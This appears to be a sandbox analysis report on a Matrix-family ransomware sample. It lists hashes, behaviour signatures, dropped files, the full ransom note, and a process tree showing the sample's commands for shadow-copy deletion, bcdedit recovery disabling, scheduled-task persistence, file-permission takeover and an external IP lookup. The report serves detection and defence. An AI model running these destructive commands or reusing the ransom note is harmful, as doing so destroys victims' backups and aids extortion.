Overview

overview

10

Static

static

3

FoxRansomw...65.exe

windows7-x64

10

FoxRansomw...65.exe

windows10-2004-x64

10

FoxRansomw...a7.exe

windows7-x64

10

FoxRansomw...a7.exe

windows10-2004-x64

10

FoxRansomw...20.exe

windows7-x64

10

FoxRansomw...20.exe

windows10-2004-x64

10

FoxRansomw...0b.exe

windows7-x64

10

FoxRansomw...0b.exe

windows10-2004-x64

10

FoxRansomw...53.exe

windows7-x64

10

FoxRansomw...53.exe

windows10-2004-x64

10

FoxRansomw...b1.exe

windows7-x64

10

FoxRansomw...b1.exe

windows10-2004-x64

10

Resubmissions

03-04-2024 17:37

240403-v68g6sga2w 10

Analysis

  • max time kernel
    150s
  • max time network
    162s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-04-2024 17:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe

  • Size

    1.2MB

  • MD5

    907636b28d162f7110b067a8178fa38c

  • SHA1

    048ae4691fe267e7c8d9eda5361663593747142a

  • SHA256

    6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b

  • SHA512

    501a7ee7fc8c0869d3cb57be3a75be02f6a17583e524fae9fa29e149a7391a5ed79c45143c09c667eed7d2fe217503121e23edd6f1bac47c8ba7ec7a4ecbe04a

  • SSDEEP

    24576:R/SA+2lraRrjSJR5ezmT1dM9tZBb5t+wb8fq/81mkvfW:3XlayIsy81hvf

Score
10/10
matrixdiscoveryevasionpersistenceransomwareupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Extracted

Path

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\#CORE_README#.rtf

Ransom Note
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected]\par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 4D895ED76688B39A\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 4D895ED76688B39A\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 SNarnJ2a\cf0\f1\fs32\lang1049\par \par }
Emails
URLs

https://bitmsg.me

https://bitmsg.me/users/sign_up

https://bitmsg.me/users/sign_in

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Enumerates connected drives 3 TTPs 44 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
    "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe"
    1⤵
    • Matrix Ransomware
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWWhjP3l.exe"
      2⤵
        PID:1860
      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWWhjP3l.exe
        "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWWhjP3l.exe" -n
        2⤵
        • Executes dropped EXE
        PID:3996
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\3yVoR4mk.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4952
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3140
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\2PLnhtiv.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2280
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\2PLnhtiv.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:5660
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:112
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:2948
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\mOSa2Ul6.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:752
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\mOSa2Ul6.vbs"
              3⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:3224
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\tz5P5La8.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:5176
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\tz5P5La8.bat" /sc minute /mo 5 /RL HIGHEST /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:5524
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:6844
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Run /I /tn DSHCA
                  5⤵
                    PID:6164
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\S3jc7RWn.bat" "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5492
              • C:\Windows\SysWOW64\attrib.exe
                attrib -R -A -S "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa"
                3⤵
                • Views/modifies file attributes
                PID:5328
              • C:\Windows\SysWOW64\cacls.exe
                cacls "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa" /E /G Admin:F /C
                3⤵
                  PID:6560
                • C:\Windows\SysWOW64\takeown.exe
                  takeown /F "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa"
                  3⤵
                  • Modifies file permissions
                  PID:6164
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c LufpVWpf.exe -accepteula "classes.jsa" -nobanner
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5460
                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LufpVWpf.exe
                    LufpVWpf.exe -accepteula "classes.jsa" -nobanner
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:5916
                    • C:\Users\Admin\AppData\Local\Temp\LufpVWpf64.exe
                      LufpVWpf.exe -accepteula "classes.jsa" -nobanner
                      5⤵
                      • Drops file in Drivers directory
                      • Sets service image path in registry
                      • Executes dropped EXE
                      • Enumerates connected drives
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: LoadsDriver
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5228
            • C:\Windows\SYSTEM32\cmd.exe
              C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\tz5P5La8.bat"
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:5948
              • C:\Windows\system32\vssadmin.exe
                vssadmin Delete Shadows /All /Quiet
                2⤵
                • Interacts with shadow copies
                PID:4392
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic SHADOWCOPY DELETE
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:6088
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:440
                • C:\Windows\system32\vssadmin.exe
                  "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
                  3⤵
                  • Interacts with shadow copies
                  PID:6244
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:5516
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:6532
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN DSHCA /F
                2⤵
                  PID:6776
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5900

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\#CORE_README#.rtf
                Filesize

                8KB

                MD5

                e5d94c3e847b0e42af04f3f026c9d1fb

                SHA1

                ca6e55934103f4a41e30fa1a6c7d5ce60644c215

                SHA256

                abd721af47820f0eb9dd82a2bc3c2efe549b6e4b39b3a70d56d4f3aee7756200

                SHA512

                8f654d97f847d33fc62f7675be5f33085c0e0cddb4dad298e0f510033bc8c6890459c422bdd56c1f4e0dc0e3e75564fd3fceeff0552a5604fe25cd87e18b5ddc

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                16KB

                MD5

                df19d51d93cf4e796f1496938f428871

                SHA1

                d0db5400804aa97233757f8ad761d820ec30d50a

                SHA256

                8d7970a2a8e3ef765e9b11ec76b95b858314ce15fbf29cce05d7fd162458a9de

                SHA512

                ca4fec117a3fa1d10ff0828cd0acbee95e21f2680a9faeb90c5aadc7f335d348889bf774db181cf93daf89b27560827850372822f2b0744c49d9d144d28d7fc4

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\3yVoR4mk.txt
                Filesize

                16B

                MD5

                17d432845dc7cb55ac69d75cf72f7f5d

                SHA1

                7f3b6e6ab91b3a13c0611fe6e95befab691d5cc3

                SHA256

                a7cd0523e7aca4fd8db39d49ce1fe6198b92956509bd360dae646798c2a251a4

                SHA512

                25054cd4ec03675f28d0aa1aa09b691beacb9f9a1cf538179777d74a713e97457c39d56c787becc378fcdc31c62cbdf56546f8cee41f5f99f11b8798663104e0

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LufpVWpf.exe
                Filesize

                181KB

                MD5

                2f5b509929165fc13ceab9393c3b911d

                SHA1

                b016316132a6a277c5d8a4d7f3d6e2c769984052

                SHA256

                0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                SHA512

                c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWWhjP3l.exe
                Filesize

                1.2MB

                MD5

                907636b28d162f7110b067a8178fa38c

                SHA1

                048ae4691fe267e7c8d9eda5361663593747142a

                SHA256

                6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b

                SHA512

                501a7ee7fc8c0869d3cb57be3a75be02f6a17583e524fae9fa29e149a7391a5ed79c45143c09c667eed7d2fe217503121e23edd6f1bac47c8ba7ec7a4ecbe04a

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\S3jc7RWn.bat
                Filesize

                246B

                MD5

                2c9a4e82145113231603c15c055fb0ad

                SHA1

                bf6526abe95dc8572a15de02fddce46a33216971

                SHA256

                9951e52984e3cdf4bd0f7844cb8488d6859b957aff47ddb16bc399c20a759656

                SHA512

                b790a3a55bdce27a17a146e7a9d1b26314fa64fbd0b565d6b7e78eabed8300026ef5a85d1f69d179654917994bdb0525b5ad89468608df5f2a1f006af8e571d5

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_4D895ED76688B39A.txt
                Filesize

                11KB

                MD5

                cd9134db395cee3bd6e816446470ea80

                SHA1

                5e8d9209c94e24e7d9c16902bd4bb7afec5fd26c

                SHA256

                41ed1767a855206fb3446e076fe389274820627b87b0887c3b13b554a6af8023

                SHA512

                af3b23d366c26ef6e34231fa49c25f9202f3e0febfb37852a1bb19f342fa02e72755a09e3692cb72082cb805a79f1183dcb3c6e54e781c3d3dfd2316a009d2fe

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_4D895ED76688B39A.txt
                Filesize

                305B

                MD5

                a29725ee3df632f9f838283f5d5c572d

                SHA1

                7a1802148a7749a300d350597caed1a8abe2c5fb

                SHA256

                68dfb9964253ea271249bdae57f5d5a88475f5a5aaf9a0a49f80503b1cf16595

                SHA512

                791cb8539e756303b5ae83687c7ae345c78061b937b36cce035bd2e04fb2b7e8bca37b177a53fbfbca74a9d82d9616368419ec8b25da531616cd54c50489cca7

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\LufpVWpf64.exe
                Filesize

                221KB

                MD5

                3026bc2448763d5a9862d864b97288ff

                SHA1

                7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                SHA256

                7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                SHA512

                d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51naydve.ppa.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit

              • C:\Users\Admin\AppData\Roaming\mOSa2Ul6.vbs
                Filesize

                260B

                MD5

                3027f5c133e3bc44577620e9712e7a66

                SHA1

                6802026a33f072528e4089143e712eee40759b2b

                SHA256

                aaa21e16679d08a4102c6ed3d3ab79f977dc96789e48c91106e36d082bb6bb93

                SHA512

                3b46afececf4887d4734178bf024c71b5861e619d9b91f274c0be67c3f0219bbf531cf286b0c2d89dc8056c96b9a34731c6fb101a4b2af223cc295d36572e2a0

                Download Submit

              • C:\Users\Admin\AppData\Roaming\tz5P5La8.bat
                Filesize

                415B

                MD5

                1ed40f67a8806b9775a99c74f2d4fe6c

                SHA1

                5a961b70a974366584ad55ac321aa68926cd916c

                SHA256

                d141bad6ae7176620a5128a20f09eb6d603b78ce8bfb8c880eafc79666b226e1

                SHA512

                13c29a7d30985f28ae6163ee6038121dff29975bf4af8897d8608e5248b4d93c31c4c9ca5aee41cc0cc1a2861aae22ce59e8547e140be24a3cc2b547a0a4bab5

                Download Submit

              • memory/440-13238-0x00007FFC938E0000-0x00007FFC943A1000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/440-14411-0x00007FFC938E0000-0x00007FFC943A1000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/440-13258-0x00000235F3990000-0x00000235F39A0000-memory.dmp

                Filesize

                64KB

                Download

              • memory/440-13247-0x00000235F3CB0000-0x00000235F3CD2000-memory.dmp

                Filesize

                136KB

                Download

              • memory/440-13240-0x00000235F3990000-0x00000235F39A0000-memory.dmp

                Filesize

                64KB

                Download

              • memory/440-13239-0x00000235F3990000-0x00000235F39A0000-memory.dmp

                Filesize

                64KB

                Download

              • memory/2128-8994-0x0000000000400000-0x000000000053B000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/2128-14413-0x0000000000400000-0x000000000053B000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/2128-26-0x0000000000400000-0x000000000053B000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/3140-23-0x0000000005B90000-0x0000000005EE4000-memory.dmp

                Filesize

                3.3MB

                Download

              • memory/3140-28-0x00000000076E0000-0x0000000007D5A000-memory.dmp

                Filesize

                6.5MB

                Download

              • memory/3140-18-0x0000000005A20000-0x0000000005A86000-memory.dmp

                Filesize

                408KB

                Download

              • memory/3140-12-0x0000000005980000-0x00000000059E6000-memory.dmp

                Filesize

                408KB

                Download

              • memory/3140-11-0x00000000057E0000-0x0000000005802000-memory.dmp

